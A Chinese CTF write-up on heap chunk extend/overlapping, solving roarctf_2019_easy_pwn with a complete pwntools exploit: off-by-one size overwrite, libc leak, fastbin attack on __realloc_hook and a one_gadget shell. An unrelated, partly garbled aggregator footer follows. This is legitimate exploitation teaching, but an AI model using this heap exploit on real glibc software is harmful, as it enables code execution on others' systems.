linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn

2023-05-16

文章目录

  • What is Chunk Extend and Overlapping
  • pwn题思路
  • 例题
    • 保护机制
    • add函数
    • show函数
    • delete函数
    • edit函数
  • 开始做题
    • 准备框架
    • 调试
      • 覆盖后面一个块的大小
      • 释放
      • 堆块free验证机制
      • 尝试修改堆块
      • 开始泄露libc
      • 任意地址写
  • 总结

What is Chunk Extend and Overlapping

Chunk Extend and Overlapping就是当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠
在这里插入图片描述
比如说原来的两个堆块都是0x21大小,通过修改第一个块的头部,使他大小覆盖第2个块
而在比赛题目里,有些时候会在bss段保存堆地址和堆大小,所以我们需要free大堆块再malloc同样大小的堆块,就可以完全控制被覆盖的块的内容,由于被覆盖的块可能存在指针或者使可以用来泄露libc地址,所以可以进一步利用

pwn题思路

有同学可能会问了,因为一般我们不可以直接修改头部,所以要想修改头部还需要溢出,既然可以溢出了为什么不直接修改下一个块呢?
这是个好问题,所以ctf一般喜欢出0ff by one,只能溢出一个字节,那么这个字节就只能修改大小,所以就相当了这种利用方法
当然如果遇见off by one的题目还可以使用unlink来做,但下面我要举的例题不能用unlink

例题

roarctf_2019_easy_pwn

保护机制

可以看到开启了地址随机化,所以不能用unlink
因为unlink需要知道bss的地址(因为bss保存了chunk地址),那么这里由于随机化,我们无法得到bss的地址,所以只能用chunk extend来做
在这里插入图片描述

add函数

这个题目的保护算是比较好的了,专门在bss记录了填入的大小
在这里插入图片描述

show函数

没什么好说的,主要用来泄露libc地址
在这里插入图片描述

delete函数

这个delete函数算是比较安全的了,指针也清零了,内容也完全清零了
在这里插入图片描述

edit函数

万恶之源
如果输入的size刚好是原有的size+10,那么可以多写一个字节,(虽然不知道为什么会这样设计,当然在真实的项目里如果有人这样写那腿肯定要被打断)
在这里插入图片描述

开始做题

准备框架

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./roarctf_2019_easy_pwn_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 28370

    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)


def debug():
    gdbscript = """
    x/5xg $rebase(0x202040)
    """
    gdb.attach(io, gdbscript=gdbscript)


def add(size: int):
    sla(b"choice: ", b"1")
    sla(b"size:", str(size).encode())


# off by one
def edit(index: int, size: int, content: bytes):
    sla(b"choice: ", b"2")
    sla(b"index:", str(index).encode())
    sla(b"size:", str(size).encode())
    sla(b"content:", content)


def free(index: int):
    sla(b"choice: ", b"3")
    sla(b"index:", str(index).encode())


def show(index: int):
    sla(b"choice: ", b"4")
    sla(b"index:", str(index).encode())

调试

注意哦,add时候大小不要写错
一个大小为0x20的堆块,可以填写的内容是0x18,所以在malloc源码里面有这么一个宏

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
 #define MALLOC_ALIGN_MASK      (MALLOC_ALIGNMENT - 1)
#define MALLOC_ALIGNMENT       (2 * SIZE_SZ)
#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
 #define MIN_CHUNK_SIZE        (sizeof(struct malloc_chunk))
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

SIZE_SZ在32位是4字节,64位是8字节
所以上面代码在64位

if (req)  <9:
0x20
else:
  ((req) + 0x17) & (0xfffffff0)

所以在64位下有下面这张表

0x200x300x40
0~0x180x19~0x280x29~-0x38

然后0xn8(除了0x8)是特别特殊的一个值,因为如果选择了这个值,表明下一个块的pre_size也要被我们完全占用,所以一般如果存在off-by-one的漏洞都需要分配这个大小

覆盖后面一个块的大小

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
debug()
it()

在这里插入图片描述
可以看到确实大小被改了

释放

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
free(1)
debug()
it()

结果程序挂了,通过上面的图也可以发现,因为我们把整个堆块改的不合理,top chunk已经没了

堆块free验证机制

参见libc free源码
由于这里不是mmap分配的,所以主要有以下三个步骤

p = mem2chunk (mem);#就是把指针-0x10,从data部分转到header
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
#define NON_MAIN_ARENA 0x4

arena_for_chunk ,这个其实就是取M标记位,虽然__libc_free前面已经做过了这方面的验证,但不知道这里为什么还要验证一下,其实我感觉可以直接把main_arena的地址取来

然后在__int_free里面有个check_inuse_chunk(av, p)检查

#define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
  mchunkptr next;
  do_check_chunk (av, p);//这个检查有兴趣可以google一下,我大概看了一下,没什么特别的地方
  if (chunk_is_mmapped (p))
    return; /* mmapped chunks have no next/prev */

  /* Check whether it claims to be in use ... */
  assert (inuse (p));

  next = next_chunk (p);//所以这里我们要能够找到next_chunk

  /* ... and is surrounded by OK chunks.
     Since more things can be checked with free chunks than inuse ones,
     if an inuse chunk borders them and debug is on, it's worth doing them.
   */
  if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p);
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

  if (next == av->top)
    {
      assert (prev_inuse (next));
      assert (chunksize (next) >= MINSIZE);
    }
  else if (!inuse (next))
    do_check_free_chunk (av, next);
}

这里面怎么说呢,其实主要还是check了一下整个的完整性,你不能说随便修改了大小,然后我们在调试的时候可以发现,如果我们随便修改了一个块的大小,可能会找不到top_chunk,所以我们构造的时候还需要能够保持结构的完整性

尝试修改堆块

这里面首先我们要配置这样几个堆

add(0x18)//用来修改第二个堆的大小
add(0x18)///用来覆盖第三个堆
add(0x88)//这个因为要把他变成unsorted bin,因为unsorted bin为空的时候,释放一个unsorted bin会使fd,bk指向main_arena+0x58
add(0x10)//防止和top chunk合并

相当于我们要让第二个块吞并第三块
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
debug()
it()

在这里插入图片描述
这个时候可以保证我们这个结构没有被破坏掉,下面尝试是否可以释放

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
debug()
it()

在这里插入图片描述
尝试申请

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
debug()
it()

在这里插入图片描述

观察bss区域
可以看到第二行和第三行重叠了,说明成功了
在这里插入图片描述

说到这里我插一句题外话,网上其他payload甚至还需要伪造一块,其实不需要
只能说libc-2.23这个管理机制漏洞很多,我们如果可以修改头,其实只要保证可以正常指向top_chunk,就可以任意造成Chunk Extend

开始泄露libc

这个时候由于清空的原因,0x88 chunk的头不见了,所以我们需要补上
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
debug()
it()

这个时候由于unosrted bin的原因,可以看到chunk2 的指针,我们可以通过show读取出来,这个时候其实是看不见chunk 2的,因为我们是从第一块分配的也就是chunk 0开始往上找,由于Chunk overlapping,所以系统不会发现还有重叠的块,但还是可以释放掉,因为如果从它开始,也可以找到结尾的top_chunk ,但注意,如果我们把91改成90,就会报错,因为我们通过libc_free的源码,如果这个块的prev_inuse为否,他会尝试去检查完整性,所以我们只能设为1,这样他不会去找prev_chunk

 if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p); //这里会异常
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

在这里插入图片描述在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
debug()
it()

可以看到泄露的地址,下面就是转化成libc_base
在这里插入图片描述

任意地址写

这里需要绕过一个验证,就是你fd指针指向的区域,size要一样
所以我们选取free_hook -0x13的位置,刚好是7f
那么怎么做呢,看下面代码

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + libc.sym["system"]
//上面就是获得地址
add(0x68)//先添加一个大小为70的块,这个在重叠区,编号为2,我们要后释放,这样才有fd指针
add(0x68)//添加一个用来先释放的
free(4)
free(2)
debug()
it()

我们接下来就是找mallo_hook上方有没有size一样的地方

提醒
fastbin attack不能打__free_hook,因为__free_hook上面是io,而io很多时候是会在malloc中变化的,我第一次还觉得奇怪为什么报错,结果发现断在__int_malloc的时候__free_hook周围都是0
这里由于是relloc_hook,所以我们选择relloc_hook-0x1b

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)

下面就是如何覆盖__relloc_hook
首先把relloc_hook覆盖成one_gadget里面的execuve,同时这里还需要平衡栈,但我暂时不懂原理,过几天研究一下

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)
relloc_addr = libc_base + libc.sym["realloc"]
payload = b"a" * (0xB) + p64(system_addr) + p64(relloc_addr + 4)
edit(4, len(payload), payload)
add(0x10)
it()

总结

Chunk Extend and Overlapping其实归根到底只是一种利用方式,但根本的安全威胁还是堆溢出,虽然你别看我溢出了一个字节,但其实基本可以直接影响堆管理器
而且这种off by one的漏洞出现还是比较经常的,特别是很容易溢出字符串结尾的\0

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn 的相关文章

  • Linux 上的最大子进程数

    下面的代码将产生尽可能多的子级 自己不会进一步fork 一旦父进程退出就会变成僵尸 父进程将产生多少个子进程 int main int argc char arg while fork gt 0 子进程的数量可以通过以下方式限制设置限制 2
  • Linux 上的 Chrome - 查询浏览器以查看打开了哪些选项卡?

    我在 Ubuntu Linux 上运行 Chromium 开源 chrome 版本 我可以编写一个程序来查看我打开了哪些选项卡吗 我想编写一个程序来监控我在事情上花费了多少时间 是否有命令行程序 某种调用 chromium browser
  • php.ini 更改,但在 Ubuntu 上无效

    我想更改 PHP 上传文件大小的限制 这是我的输出的一些信息phpinfo https www php net manual en function phpinfo php Configuration File php ini Path e
  • 为 bash 脚本创建应答文件

    我想为别人的 bash 脚本创建一个应答文件 当您运行 bash 脚本时 第一次安装该软件时 系统会询问您 5 个问题 我用的是yes script命令并且有效 它会自动应答yes对所有问题 不过我还是想回答一下no对于最后一个问题 有办法
  • 获取后台进程的退出代码

    我有一个从我的主 bourne shell 脚本中调用的命令 CMD 该命令需要很长时间 我想修改脚本如下 作为后台进程并行运行命令 CMD CMD 在主脚本中 有一个循环每隔几秒监视生成的命令 该循环还向标准输出回显一些消息 指示脚本的进
  • Java Linux 非阻塞套接字超时行为

    我有一个 Java 非阻塞服务器 它跟踪选择器中的所有套接字通道 然后我与服务器建立 500 个连接并定期发送数据 服务器接收到的每条数据都会回显给客户端 问题来了 测试工作了几个小时 然后突然逐渐地 服务器管理的所有套接字在尝试读取数据时
  • 打印堆栈指针的值

    如何在 Linux Debian 和 Ubuntu 中用 C 打印堆栈指针的当前值 我尝试谷歌但没有找到结果 一个技巧是简单地将本地地址作为指针打印出来 但它不可移植 甚至无法保证有效 void print stack pointer vo
  • 如果specfile中的某些条件不满足,如何中止rpm包的安装?

    还有一些事情Requires标签不满足 所以我写了一个脚本来验证这些东西 但是我把它们放在哪里呢 如果没有找到 那么我想退出安装 提示用户在尝试再次安装此 rpm 之前执行这些步骤 writing exit 1 in installtag
  • 为多线程 UDP 客户端执行“close ()”时套接字描述符未释放

    我在下面编写了 UDP 客户端 它基本上生成一个单独的线程来接收数据报 但是数据报仅在主线程中发送 现在 在 Linux 发行版上实例化 udpClient 1 UDP 客户端后按 ctrl D 实现退出循环 围绕 getline 调用 并
  • 在 LINUX 上测量 TLB 未命中的命令

    有人可以指导我使用一个命令来测量 LINUX 上的 TLB 未命中吗 是否可以将轻微页面错误视为 TLB 未命中 您可以使用perf去做这个 前提是你的CPU支持 Use perf list了解可用的计数器 当我拿到这个列表并查找 TLB
  • /etc/php5/conf.d 文件夹中的 .ini 文件有什么用?

    我知道 ini 文件位于 etc php5 cli与 PHP 的 CLI 使用有关 文件位于 etc php5 fpm是关于 PHP 的 FastCGI FPM 方面 但是位于以下位置的 ini 文件又如何呢 etc php5 conf d
  • 使用Linux虚拟鼠标驱动

    我正在尝试实施一个虚拟鼠标驱动程序根据基本 Linux 设备驱动程序书 有一个用户空间应用程序 它生成坐标以及内核模块 See 虚拟鼠标驱动程序和用户空间应用程序代码 http www embeddedlinux org cn Essent
  • 从命令输出中设置 GDB 中的环境变量

    我试图在挑战中利用缓冲区溢出 缓冲区从环境变量中获取其值 在 GDB 中 我知道您可以使用以下命令设置环境变量 set environment username test 但是我需要传递用户名变量特殊字符 所以我需要执行以下操作 set e
  • 如何获取uinput创建的设备的名称(路径)

    我已经成功设置了一个小程序来创建uinput questions tagged uinput我计划使用它来自动测试接收键盘输入事件的应用程序 我已关注both http thiemonge org getting started with
  • 将 -1 作为文件描述符传递给 mmap

    我对 FC17 Linux 中的 ls 命令进行了 strace 以下是输出 execve usr bin ls ls 48 vars 0 brk 0 0x27c1000 mmap NULL 4096 PROT READ PROT WRIT
  • 为什么 Solaris 汇编器生成的机器代码与 GNU 汇编器在这里不同?

    我为 amd64 编写了这个小汇编文件 对于这个问题来说 代码的作用并不重要 globl fib fib mov edi ecx xor eax eax jrcxz 1f lea 1 rax ebx 0 add rbx rax xchg r
  • 更改 Amazon RDS MYSQL Linux 服务器的 innodb_log_file_size 变量值

    我们正在使用 Amazon RDS linux 服务器作为 MYSQL 更改 my cnf 文件变量值的方法是什么 我正在尝试更改 innodb log file size 变量 您能告诉我哪一个是最好的改变方式吗 所以请帮我解决这个问题
  • 在 Linux 中使用仅限 CLI 的工具生成磁盘使用情况图/图表

    在这个问题中 https stackoverflow com questions 32230 tracking down where disk space has gone on linux有人询问如何在 Linux 中显示磁盘使用情况 我
  • __libc_start_main 发生了什么?

    我真的很想理解从高级代码到可执行文件的步骤 但是遇到了一些困难 我写了一个空的int main C 文件并尝试通过以下方式破译反汇编objdump d 这是发生的事情 in start 设置对齐方式 将参数压入堆栈 调用 libc star
  • 使用正在运行的进程的共享内存收集核心转储

    核心转储仅收集进程空间 而不收集为进程间通信创建的共享内存 如何使核心转储也包含正在运行的进程的共享内存 设置核心文件过滤器 proc PID coredump filter per http man7 org linux man page

随机推荐

  • Unable to resolve module react-native-pager-view

    报错信息 Unable to resolve module react native pager view from home apex wp expo jsjs node modules 64 ant design react nativ
  • Expo开发Field: splash.image - cannot access file at ‘./assets/splash.png‘

    报错信息 Error Problems validating asset fields in app json Learn more https docs expo io Field splash image cannot access f
  • Expo开发的App如果获取版本信息

    如何获取版本信息 xff0c 实际上很简单 但是我第一次使用expo获取版本信息 xff0c 还是查看了好多expo的文档才找到 所以就记录一下吧 版本信息配置app json span class token punctuation sp
  • React Native每次进入页面执行一次方法

    问 xff1a 有什么办法 可以在我每次进入页面的时候 执行一次方法吗 因为我看rn的生命周期 都是只执行一次 然后在下次进入的时候就不会再执行方法了 答 xff1a 在function组件中可以这样实现 xff1a span class
  • http隧道Chisel

    http隧道有啥用呢 xff1f 有些服务器封端口或者封协议只能走http协议 远程维护机器很不方便 xff0c 可能要VPN 43 堡垒机 xff0c 甚至还有限制了ssh客户端的 这里我就会考虑使用http隧道的方式 同类文章推荐 xf
  • Sockets代理的使用简介

    如果拥有了Sockets代理服务后 xff0c 应该如何使用它呢 xff1f 本文就简单介绍一下 xff0c 本人的经验分享 浏览器代理 以firefox为例 xff0c 其他浏览器类似 很简单 xff0c 看下图应该就能明白 设置好代理后
  • cannot drop a user that is currently connected

    删除用户时 xff0c 提示正在连接的用户无法删除 那就强制断开连接吧 xff01 错误信息 SQL span class token operator gt span drop user usr sg cascade span class
  • ModuleNotFoundError: No module named ‘setuptools_rust‘

    我在执行pip3 install webssh遇到以下的报错信息 报错信息 Traceback most recent call last File line 1 in File tmp pip build my9sai1o cryptog
  • 无限渗透实战(2)--绕过认证上校园网

    校园网大家都熟悉 一般都是开放的 xff0c 然后连接之后有个登录页面 xff0c 认证之后就可以上网了 xff0c 那么我们怎么绕过认证直接上网 首先还是开始监听周围的ap 可以看到有许多的校园网 那么我们就需要开始监听周围的校园网 xf
  • spring boot jar自定义端口启动

    java jar spring zs 1 0 jar server port span class token operator 61 span 9090
  • CentOS7中安装五笔输入法

    使用vnc远程了一点服务 xff0c 远程维护 GNOME默认自带的是ibus输入平台 默认有一个拼音输入法 但是我日常使用五笔打拼音还是不太习惯 xff0c 那就安装个五笔输入吧 相关阅读 xff1a Centos7安装和配置VNC服务器
  • CentOS7下vscode无响应

    原因分析 xff1a 我以前安装vscode是可以正常使用的啊 为什么现在不行了呢 xff1f 我怀疑会不会是新版的兼容性不行 我安装的是code 1 58 2 1626302881 el8 x86 64 rpm 后来在看到这篇文章 Cen
  • Bad owner or permissions on ~/.ssh/config

    ssh运行报错如下 xff1a Bad owner or permissions on ssh config 解决办法 span class token function chmod span 600 ssh config 参考 https
  • java.lang.NoClassDefFoundError: org/owasp/encoder/Encode

    一个老的spring boot项目中使用到了shiro xff0c 存在安全漏洞 xff0c 由于源码丢失 xff0c 只好采用解压jar升级里面shiro的jar来解决了 但是升级以后遇到报错如下 报错信息 Caused by java
  • A VNC server is already running as :1

    现象 VNC服务使用 Centos7安装和配置VNC服务器 GNOME篇 https blog csdn net lxyoucan article details 113179208 中的配置方法 一开始服务都是正常的 xff0c 在我多次
  • CentOS7+IntellJ IDEA 中文输入问题

    心血来潮在CentOS7中搭建了java开发环境 xff0c 发现在IDEA中输入中文存在问题 中文输入法只能输入1到2个中文 xff0c 后面都是英文了 xff0c 那就想办法解决一下吧 xff01 环境 我的环境信息如下 xff1a 项
  • CentOS7安装CMakev3.21.0

    yum 安装的CMake版本是 2 8 12 2 xff0c 比较旧无法使用 那就来升级一下吧 cmake span class token keyword span CMake Error at CMakeLists txt 1 span
  • CentOS7+VNC+Openbox+Fcitx

    文章目录 简介VNCopenboxFcitx 实战环境信息安装与自动配置脚本创建用户开启 VNC服务 客户端连接VNC实现远程控制假如vnc中输入法切不出来参考 简介 VNC VNC xff08 Virtual Network Comput
  • vnc学习笔记合集

    文章目录 CentOS7 43 VNC 43 Openbox 43 FcitxCentOS中VNC常用命令Centos7安装和配置VNC服务器 GNOME篇Centos7安装和配置VNC服务器 Xfce篇Centos7安装和配置VNC服务器
  • linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn

    文章目录 What is Chunk Extend and Overlappingpwn题思路例题保护机制add函数show函数delete函数edit函数 开始做题准备框架调试覆盖后面一个块的大小释放堆块free验证机制尝试修改堆块开始泄